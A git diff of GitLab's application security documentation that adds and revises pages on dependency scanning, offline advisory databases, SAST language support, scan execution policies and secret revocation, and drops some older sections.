-![Dependency list](img/dependency_list_v12_10.png)
+![Dependency list](img/dependency_list_v13_11.png)
GitLab displays dependencies with the following information:
@@ -44,7 +44,8 @@ can also be sorted by name or by the packager that installed them.
If a dependency has known vulnerabilities, view them by clicking the arrow next to the
dependency's name or the badge that indicates how many known vulnerabilities exist. For each
-vulnerability, its severity and description appears below it.
+vulnerability, its severity and description appears below it. To view more details of a vulnerability,
+select the vulnerability’s description. The [vulnerability's details](../vulnerabilities) page is opened.
### Dependency paths
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index f87ea8edc7b..53387acefef 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -105,7 +105,7 @@ include:
The included template creates dependency scanning jobs in your CI/CD
pipeline and scans your project's source code for possible vulnerabilities.
The results are saved as a
-[dependency scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdependency_scanning)
+[dependency scanning report artifact](../../../ci/yaml/README.md#artifactsreportsdependency_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest dependency scanning artifact available.
@@ -183,10 +183,11 @@ The following variables are used for configuring specific analyzers (used for a
| `BUNDLER_AUDIT_ADVISORY_DB_URL` | `bundler-audit` | `https://github.com/rubysec/ruby-advisory-db` | URL of the advisory database used by bundler-audit. |
| `BUNDLER_AUDIT_ADVISORY_DB_REF_NAME` | `bundler-audit` | `master` | Git ref for the advisory database specified by `BUNDLER_AUDIT_ADVISORY_DB_URL`. |
| `GEMNASIUM_DB_LOCAL_PATH` | `gemnasium` | `/gemnasium-db` | Path to local Gemnasium database. |
+| `GEMNASIUM_DB_UPDATE_DISABLED` | `gemnasium` | `"false"` | Disable automatic updates for the `gemnasium-db` advisory database (For usage see: [examples](#hosting-a-copy-of-the-gemnasium_db-advisory-database))|
| `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. |
| `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. |
| `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. |
-| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`. Maven and Gradle use the Java version specified by this value. |
+| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`. Maven and Gradle use the Java version specified by this value. |
| `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repositories). |
| `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. |
| `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. |
@@ -214,7 +215,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Using private Maven repositories
@@ -505,6 +506,50 @@ ensure that it can reach your private repository. Here is an example configurati
setuptools.ssl_support.cert_paths = ['internal.crt']
```
+## Hosting a copy of the gemnasium_db advisory database
+
+The [gemnasium_db](https://gitlab.com/gitlab-org/security-products/gemnasium-db) Git repository is
+used by `gemnasium`, `gemnasium-maven`, and `gemnasium-python` as the source of vulnerability data.
+This repository updates at scan time to fetch the latest advisories. However, due to a restricted
+networking environment, running this update is sometimes not possible. In this case, a user can do
+one of the following:
+
+- [Host a copy of the advisory database](#host-a-copy-of-the-advisory-database)
+- [Use a local clone](#use-a-local-clone)
+
+### Host a copy of the advisory database
+
+If [gemnasium-db](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is not reachable
+from within the environment, the user can host their own Git copy. Then the analyzer can be
+instructed to update the database from the user's copy by using `GEMNASIUM_DB_REMOTE_URL`:
+
+```yaml
+variables:
+ GEMNASIUM_DB_REMOTE_URL: https://users-own-copy.example.com/gemnasium-db/.git
+
+...
+```
+
+### Use a local clone
+
+If a hosted copy is not possible, then the user can clone [gemnasium-db](https://gitlab.com/gitlab-org/security-products/gemnasium-db)
+or create an archive before the scan and point the analyzer to the directory (using:
+`GEMNASIUM_DB_LOCAL_PATH`). Turn off the analyzer's self-update mechanism (using:
+`GEMNASIUM_DB_UPDATE_DISABLED`). In this example, the database directory is created in the
+`before_script`, before the `gemnasium` analyzer's scan job:
+
+```yaml
+...
+
+gemnasium-dependency_scanning:
+ variables:
+ GEMNASIUM_DB_LOCAL_PATH: ./gemnasium-db-local
+ GEMNASIUM_DB_UPDATE_DISABLED: "true"
+ before_script:
+ - mkdir $GEMNASIUM_DB_LOCAL_PATH
+ - tar -xzf gemnasium_db.tar.gz -C $GEMNASIUM_DB_LOCAL_PATH
+```
+
## Limitations
### Referencing local dependencies using a path in JavaScript projects
diff --git a/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png b/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png
deleted file mode 100644
index 8e7bcf09428..00000000000
--- a/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png
index 54ccfa24374..55694fc7926 100644
--- a/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png
+++ b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png b/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png
deleted file mode 100644
index db698995469..00000000000
--- a/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/multi_select_v12_9.png b/doc/user/application_security/img/multi_select_v12_9.png
deleted file mode 100644
index ec3648bff08..00000000000
--- a/doc/user/application_security/img/multi_select_v12_9.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gif b/doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gif
deleted file mode 100644
index 562ffe7e329..00000000000
--- a/doc/user/application_security/img/vulnerability_related_issues_text_box_tags_v13_2.gif
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index b0457ec0690..1ba2161362c 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -178,43 +178,6 @@ authorization credentials. By default, content of specific headers are masked in
reports. You can specify the list of all headers to be masked. For details, see
[Hide sensitive information](dast/index.md#hide-sensitive-information).
-## View details of an API Fuzzing vulnerability
-
-> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7.
-
-Faults detected by API Fuzzing occur in the live web application, and require manual investigation
-to determine if they are vulnerabilities. Fuzzing faults are included as vulnerabilities with a
-severity of Unknown. To facilitate investigation of the fuzzing faults, detailed information is
-provided about the HTTP messages sent and received along with a description of the modification(s)
-made.
-
-Follow these steps to view details of a fuzzing fault:
-
-1. You can view faults in a project, or a merge request:
-
- - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report**
- page. This page shows all vulnerabilities from the default branch only.
- - In a merge request, go the merge request's **Security** section and click the **Expand**
- button. API Fuzzing faults are available in a section labeled
- **API Fuzzing detected N potential vulnerabilities**. Click the title to display the fault
- details.
-
-1. Click the fault's title to display the fault's details. The table below describes these details.
-
-| Field | Description |
-|:-----------------|:------------------------------------------------------------------ |
-| Description | Description of the fault including what was modified. |
-| Project | Namespace and project in which the vulnerability was detected. |
-| Method | HTTP method used to detect the vulnerability. |
-| URL | URL at which the vulnerability was detected. |
-| Request | The HTTP request that caused the fault. |
-| Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. |
-| Actual Response | Response received from fuzzed request. |
-| Evidence | How we determined a fault occurred. |
-| Identifiers | The fuzzing check used to find this fault. |
-| Severity | Severity of the finding is always Unknown. |
-| Scanner Type | Scanner used to perform testing. |
-
## Addressing vulnerabilities
> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.8.
@@ -265,15 +228,7 @@ If you already have an open issue, you can link to it from the vulnerability.
To link to an existing issue:
1. Open the vulnerability.
-1. In the **Related Issues** section, select the plus (**{plus}**) icon.
-1. In the text box that appears, type an issue number or paste an issue link.
- - Type `#` followed by a number to show an autocomplete menu.
- - You can enter multiple issues at once. Press the space bar after each issue number or link to converts them to tags.
-1. Select **Add**.
-
-To remove an issue, to the right of the issue number, select **{close}**.
-
-![Vulnerability related issues text box tags animation](img/vulnerability_related_issues_text_box_tags_v13_2.gif)
+1. [Add a linked issue](../project/issues/related_issues.md).
### Apply an automatic remediation for a vulnerability
@@ -311,7 +266,7 @@ request created to automatically solve the issue.
If this action is available:
1. Select the **Resolve with merge request** dropdown, then select **Resolve with merge request**.
-
+
![Create merge request from vulnerability](img/create_mr_from_vulnerability_v13_4.png)
A merge request is created. It that applies the solution to the source branch.
@@ -407,7 +362,7 @@ to pass a username and password. You can set it under your project's settings
so that your credentials aren't exposed in `.gitlab-ci.yml`.
If the username is `myuser` and the password is `verysecret` then you would
-[set the following variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
+[set the following variable](../../ci/variables/README.md#custom-cicd-variables)
under your project's settings:
| Type | Key | Value |
@@ -616,9 +571,8 @@ Instructions are available in the [legacy template project](https://gitlab.com/g
This is the current default behavior, because the job's status indicates success or failure of the analyzer itself.
Analyzer results are displayed in the [job logs](../../ci/jobs/index.md#expand-and-collapse-job-log-sections),
-[Merge Request widget](sast/index.md)
+[Merge Request widget](#view-security-scan-information-in-merge-requests)
or [Security Dashboard](security_dashboard/index.md).
-There is [an open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235772) in which changes to this behavior are being discussed.
### Error: job `is used for configuration only, and its script should not be executed`
diff --git a/doc/user/application_security/policies/index.md b/doc/user/application_security/policies/index.md
new file mode 100644
index 00000000000..208fbdfa5f3
--- /dev/null
+++ b/doc/user/application_security/policies/index.md
@@ -0,0 +1,183 @@
+---
+stage: Protect
+group: Container Security
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Scan Policies **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5329) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10.
+> - Deployed behind a feature flag, disabled by default.
+> - Disabled on GitLab.com.
+
+Scan Policies in GitLab provide security teams a way to require scans of their choice to be run
+whenever a project pipeline runs according to the configuration specified. Security teams can
+therefore be confident that the scans they set up have not been changed, altered, or disabled. You
+can access these by navigating to your project's **Security & Compliance > Scan Policies** page.
+
+GitLab supports the following security policies:
+
+- [Scan Execution Policy](#scan-execution-policy-schema)
+
+WARNING:
+Scan Policies is under development and is not ready for production use. It's deployed behind a
+feature flag that's disabled by default.
+
+NOTE:
+We recommend using the [Security Policies project](#security-policies-project)
+exclusively for managing policies for the project. Do not add your application's source code to such
+projects.
+
+## Enable or disable scan policies
+
+Scan Policies is under development and is not ready for production use. It's deployed behind a
+feature flag that's disabled by default.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it for your instance. Scan Policies can be enabled or disabled per-project.
+
+To enable it:
+
+```ruby
+# Instance-wide
+Feature.enable(:security_orchestration_policies_configuration)
+# or by project
+Feature.enable(:security_orchestration_policies_configuration, Project.find(<project ID>))
+```
+
+To disable it:
+
+```ruby
+# Instance-wide
+Feature.disable(:security_orchestration_policies_configuration)
+# or by project
+Feature.disable(:security_orchestration_policies_configuration, Project.find(<project ID>))
+```
+
+## Security Policies project
+
+The Security Policies feature is a repository to store policies. All security policies are stored as
+the `.gitlab/security-policies/policy.yml` YAML file with this format:
+
+```yaml
+---
+scan_execution_policy:
+- name: Enforce DAST in every pipeline
+ description: This policy enforces pipeline configuration to have a job with DAST scan
+ enabled: true
+ rules:
+ - type: pipeline
+ branch: master
+ actions:
+ - scan: dast
+ scanner_profile: Scanner Profile A
+ site_profile: Site Profile B
+- name: Enforce DAST in every pipeline in main branch
+ description: This policy enforces pipeline configuration to have a job with DAST scan for main branch
+ enabled: true
+ rules:
+ - type: pipeline
+ branch: main
+ actions:
+ - scan: dast
+ scanner_profile: Scanner Profile C
+ site_profile: Site Profile D
+```
+
+### Scan Execution Policies Schema
+
+The YAML file with Scan Execution Policies consists of an array of objects matching Scan Execution Policy Schema nested under the `scan_execution_policy` key. You can configure a maximum of 5 policies under the `scan_execution_policy` key.
+
+| Field | Type | Possible values | Description |
+|-------|------|-----------------|-------------|
+| `scan_execution_policy` | `array` of Scan Execution Policy | | List of scan execution policies (maximum 5) |
+
+### Scan Execution Policy Schema
+
+| Field | Type | Possible values | Description |
+|-------|------|-----------------|-------------|
+| `name` | `string` | | Name of the policy. |
+| `description` (optional) | `string` | | Description of the policy. |
+| `enabled` | `boolean` | `true`, `false` | Flag to enable (`true`) or disable (`false`) the policy. |
+| `rules` | `array` of rules | | List of rules that the policy applies. |
+| `actions` | `array` of actions | | List of actions that the policy enforces. |
+
+### `pipeline` rule type
+
+This rule enforces the defined actions whenever the pipeline runs for a selected branch.
+
+| Field | Type | Possible values | Description |
+|-------|------|-----------------|-------------|
+| `type` | `string` | `pipeline` | The rule's type. |
+| `branch` | `string` | `*` or the branch's name | The branch the given policy applies to (supports wildcard). |
+
+### `scan` action type
+
+This action executes the selected `scan` with additional parameters when conditions for at least one
+rule in the defined policy are met.
+
+| Field | Type | Possible values | Description |
+|-------|------|-----------------|-------------|
+| `scan` | `string` | `dast` | The action's type. |
+| `site_profile` | `string` | Name of the selected [DAST site profile](../dast/index.md#site-profile). | The DAST site profile to execute the DAST scan. |
+| `scanner_profile` | `string` or `null` | Name of the selected [DAST scanner profile](../dast/index.md#scanner-profile). | The DAST scanner profile to execute the DAST scan. |
+
+Note the following:
+
+- You must create the [site profile](../dast/index.md#site-profile) and [scanner profile](../dast/index.md#scanner-profile)
+ with selected names for each project that is assigned to the selected Security Policy Project.
+ Otherwise, the policy is not applied and a job with an error message is created instead.
+- Once you associate the site profile and scanner profile by name in the policy, it is not possible
+ to modify or delete them. If you want to modify them, you must first disable the policy by setting
+ the `active` flag to `false`.
+
+Here's an example:
+
+```yaml
+---
+scan_execution_policy:
+- name: Enforce DAST in every release pipeline
+ description: This policy enforces pipeline configuration to have a job with DAST scan for release branches
+ enabled: true
+ rules:
+ - type: pipeline
+ branch: release/*
+ actions:
+ - scan: dast
+ scanner_profile: Scanner Profile A
+ site_profile: Site Profile B
+- name: Enforce DAST in every pipeline in main branch
+ description: This policy enforces pipeline configuration to have a job with DAST scan for main branch
+ enabled: true
+ rules:
+ - type: pipeline
+ branch: main
+ actions:
+ - scan: dast
+ scanner_profile: Scanner Profile C
+ site_profile: Site Profile D
+```
+
+In this example, the DAST scan runs with the scanner profile `Scanner Profile A` and the site
+profile `Site Profile B` for every pipeline executed on branches that match the
+`release/*` wildcard (for example, branch name `release/v1.2.1`); and the DAST scan runs with
+the scanner profile `Scanner Profile C` and the site profile `Site Profile D` for every pipeline executed on `main` branch.
+
+NOTE:
+All scanner and site profiles must be configured and created for each project that is assigned to the selected Security Policy Project.
+If they are not created, the job will fail with the error message.
+
+## Security Policy project selection
+
+When the Security Policy project is created and policies are created within that repository, you
+must create an association between that project and the project you want to apply policies to. To do
+this, navigate to your project's **Security & Compliance > Policies**, select
+**Security policy project** from the dropdown menu, then select the **Create policy** button to save
+changes.
+
+You can always change the **Security policy project** by navigating to your project's
+**Security & Compliance > Policies** and modifying the selected project.
+
+## Roadmap
+
+See the [Category Direction page](https://about.gitlab.com/direction/protect/container_network_security/)
+for more information on the product direction of Container Network Security.
diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md
index 83f85951388..c085dafac12 100644
--- a/doc/user/application_security/sast/analyzers.md
+++ b/doc/user/application_security/sast/analyzers.md
@@ -43,6 +43,19 @@ dedicated containers for each analysis.
SAST is pre-configured with a set of **default images** that are maintained by
GitLab, but users can also integrate their own **custom images**.
+## SAST analyzer features
+
+For an analyzer to be considered Generally Available, it is expected to minimally
+support the following features:
+
+- [Customizable configuration](index.md#available-variables)
+- [Customizable rulesets](index.md#customize-rulesets)
+- [Scan projects](index.md#supported-languages-and-frameworks)
+- [Multi-project support](index.md#multi-project-support)
+- [Offline support](index.md#running-sast-in-an-offline-environment)
+- [Emits JSON report format](index.md#reports-json-format)
+- [SELinux support](index.md#running-sast-in-selinux)
+
## Official default analyzers
Any custom change to the official analyzers can be achieved by using a
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index fffff4efba6..cbd05f6267e 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -64,32 +64,36 @@ GitLab SAST supports a variety of languages, package managers, and frameworks. O
You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297).
-| Language (package managers) / framework | Scan tool | Introduced in GitLab Version |
-|--------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| .NET Core | [Security Code Scan](https://security-code-scan.github.io) | 11.0 |
-| .NET Framework | [Security Code Scan](https://security-code-scan.github.io) | 13.0 |
-| Apex (Salesforce) | [PMD](https://pmd.github.io/pmd/index.html) | 12.1 |
-| C/C++ | [Flawfinder](https://github.com/david-a-wheeler/flawfinder) | 10.7 |
-| Elixir (Phoenix) | [Sobelow](https://github.com/nccgroup/sobelow) | 11.1 |
-| Go | [Gosec](https://github.com/securego/gosec) | 10.7 |
-| Groovy ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.3 (Gradle) & 11.9 (Ant, Maven, SBT) |
-| Helm Charts | [Kubesec](https://github.com/controlplaneio/kubesec) | 13.1 |
-| Java ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 10.6 (Maven), 10.8 (Gradle) & 11.9 (Ant, SBT) |
-| Java (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
-| JavaScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.8 |
-| Kotlin (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
-| Kubernetes manifests | [Kubesec](https://github.com/controlplaneio/kubesec) | 12.6 |
-| Node.js | [NodeJsScan](https://github.com/ajinabraham/NodeJsScan) | 11.1 |
-| Objective-C (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
-| PHP | [phpcs-security-audit](https://github.com/FloeDesignTechnologies/phpcs-security-audit) | 10.8 |
-| Python ([pip](https://pip.pypa.io/en/stable/)) | [bandit](https://github.com/PyCQA/bandit) | 10.3 |
-| Python | [Semgrep](https://semgrep.dev) | 13.9 |
-| React | [ESLint react plugin](https://github.com/yannickcr/eslint-plugin-react) | 12.5 |
-| Ruby | [brakeman](https://brakemanscanner.org) | 13.9 |
-| Ruby on Rails | [brakeman](https://brakemanscanner.org) | 10.3 |
-| Scala ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.0 (SBT) & 11.9 (Ant, Gradle, Maven) |
-| Swift (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
-| TypeScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.9, [merged](https://gitlab.com/gitlab-org/gitlab/-/issues/36059) with ESLint in 13.2 |
+| Language (package managers) / framework | Scan tool | Introduced in GitLab Version |
+|---------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------|
+| .NET Core | [Security Code Scan](https://security-code-scan.github.io) | 11.0 |
+| .NET Framework | [Security Code Scan](https://security-code-scan.github.io) | 13.0 |
+| Apex (Salesforce) | [PMD](https://pmd.github.io/pmd/index.html) | 12.1 |
+| C/C++ | [Flawfinder](https://github.com/david-a-wheeler/flawfinder) | 10.7 |
+| Elixir (Phoenix) | [Sobelow](https://github.com/nccgroup/sobelow) | 11.1 |
+| Go | [Gosec](https://github.com/securego/gosec) | 10.7 |
+| Groovy ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.3 (Gradle) & 11.9 (Ant, Maven, SBT) |
+| Helm Charts | [Kubesec](https://github.com/controlplaneio/kubesec) | 13.1 |
+| Java ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 10.6 (Maven), 10.8 (Gradle) & 11.9 (Ant, SBT) |
+| Java (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
+| JavaScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.8 |
+| JavaScript | [Semgrep](https://semgrep.dev) | 13.10 |
+| Kotlin (Android) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
+| Kotlin (General) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 13.11 |
+| Kubernetes manifests | [Kubesec](https://github.com/controlplaneio/kubesec) | 12.6 |
+| Node.js | [NodeJsScan](https://github.com/ajinabraham/NodeJsScan) | 11.1 |
+| Objective-C (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
+| PHP | [phpcs-security-audit](https://github.com/FloeDesignTechnologies/phpcs-security-audit) | 10.8 |
+| Python ([pip](https://pip.pypa.io/en/stable/)) | [bandit](https://github.com/PyCQA/bandit) | 10.3 |
+| Python | [Semgrep](https://semgrep.dev) | 13.9 |
+| React | [ESLint react plugin](https://github.com/yannickcr/eslint-plugin-react) | 12.5 |
+| React | [Semgrep](https://semgrep.dev) | 13.10 |
+| Ruby | [brakeman](https://brakemanscanner.org) | 13.9 |
+| Ruby on Rails | [brakeman](https://brakemanscanner.org) | 10.3 |
+| Scala ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.0 (SBT) & 11.9 (Ant, Gradle, Maven) |
+| Swift (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 |
+| TypeScript | [ESLint security plugin](https://github.com/nodesecurity/eslint-plugin-security) | 11.9, [merged](https://gitlab.com/gitlab-org/gitlab/-/issues/36059) with ESLint in 13.2 |
+| TypeScript | [Semgrep](https://semgrep.dev) | 13.10 |
Note that the Java analyzers can also be used for variants like the
[Gradle wrapper](https://docs.gradle.org/current/userguide/gradle_wrapper.html),
@@ -172,7 +176,7 @@ The included template creates SAST jobs in your CI/CD pipeline and scans
your project's source code for possible vulnerabilities.
The results are saved as a
-[SAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssast)
+[SAST report artifact](../../../ci/yaml/README.md#artifactsreportssast)
that you can later download and analyze. Due to implementation limitations, we
always take the latest SAST artifact available.
@@ -441,7 +445,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
#### Docker images
@@ -513,6 +517,7 @@ removed, or promoted to regular features at any time.
Experimental features available are:
- Enable scanning of iOS and Android apps using the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/).
+- Enable the [semgrep analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep/).
#### Enable experimental features
@@ -532,7 +537,7 @@ The SAST tool emits a JSON report file. For more information, see the
[schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/sast-report-format.json).
The JSON report file can be downloaded from the CI pipelines page, or the
-pipelines tab on merge requests by [setting `artifacts: paths`](../../../ci/pipelines/job_artifacts.md#defining-artifacts-in-gitlab-ciyml) to `gl-sast-report.json`. For more information see [Downloading artifacts](../../../ci/pipelines/job_artifacts.md).
+pipelines tab on merge requests by [setting `artifacts: paths`](../../../ci/yaml/README.md#artifactspaths) to `gl-sast-report.json`. For more information see [Downloading artifacts](../../../ci/pipelines/job_artifacts.md).
Here's an example SAST report:
@@ -703,8 +708,21 @@ offline environment, certificate verification with an external source is not pos
self-signed certificate or disable certificate verification. Refer to the package manager's
documentation for instructions.
+## Running SAST in SELinux
+
+By default SAST analyzers are supported in GitLab instances hosted on SELinux. Adding a `before_script` in an [overriden SAST job](#overriding-sast-jobs) may not work as runners hosted on SELinux have restricted permissions.
+
## Troubleshooting
+### SAST debug logging
+
+Increase the [Secure scanner log verbosity](#logging-level) to `debug` in a global CI variable to help troubleshoot SAST jobs.
+
+```yaml
+variables:
+ SECURE_LOG_LEVEL: "debug"
+```
+
### `Error response from daemon: error processing tar file: docker-tar: relocation error`
This error occurs when the Docker version that runs the SAST job is `19.03.0`.
diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md
index d2a576e9e03..f137ec26114 100644
--- a/doc/user/application_security/secret_detection/index.md
+++ b/doc/user/application_security/secret_detection/index.md
@@ -129,22 +129,10 @@ The included template creates Secret Detection jobs in your CI/CD pipeline and s
your project's source code for secrets.
The results are saved as a
-[Secret Detection report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssecret_detection)
+[Secret Detection report artifact](../../../ci/yaml/README.md#artifactsreportssecret_detection)
that you can later download and analyze. Due to implementation limitations, we
always take the latest Secret Detection artifact available.
-### Post-processing
-
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6.
-
-Upon detection of a secret, GitLab supports post processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers.
-
-GitLab currently supports post-processing for following service providers:
-
-- Amazon Web Services (AWS)
-
-Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639).
-
### Customizing settings
The Secret Detection scan settings can be changed through [CI/CD variables](#available-variables)
@@ -249,6 +237,34 @@ From highest to lowest severity, the logging levels are:
- `info` (default)
- `debug`
+## Post-processing and revocation
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6.
+
+Upon detection of a secret, GitLab supports post-processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers.
+
+GitLab currently supports post-processing for following service providers:
+
+- Amazon Web Services (AWS)
+
+Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639).
+
+NOTE:
+Post-processing is currently limited to a project's default branch, see the above epic for future efforts to support additional branches.
+
+```mermaid
+sequenceDiagram
+ autonumber
+ Rails->>+Sidekiq: gl-secret-detection-report.json
+ Sidekiq-->+Sidekiq: BuildFinishedWorker
+ Sidekiq-->+RevocationAPI: GET revocable keys types
+ RevocationAPI-->>-Sidekiq: OK
+ Sidekiq->>+RevocationAPI: POST revoke revocable keys
+ RevocationAPI-->>-Sidekiq: ACCEPTED
+ RevocationAPI-->>+Cloud Vendor: revoke revocable keys
+ Cloud Vendor-->>+RevocationAPI: ACCEPTED
+```
+
## Full History Secret Scan
GitLab 12.11 introduced support for scanning the full history of a repository. This new functionality
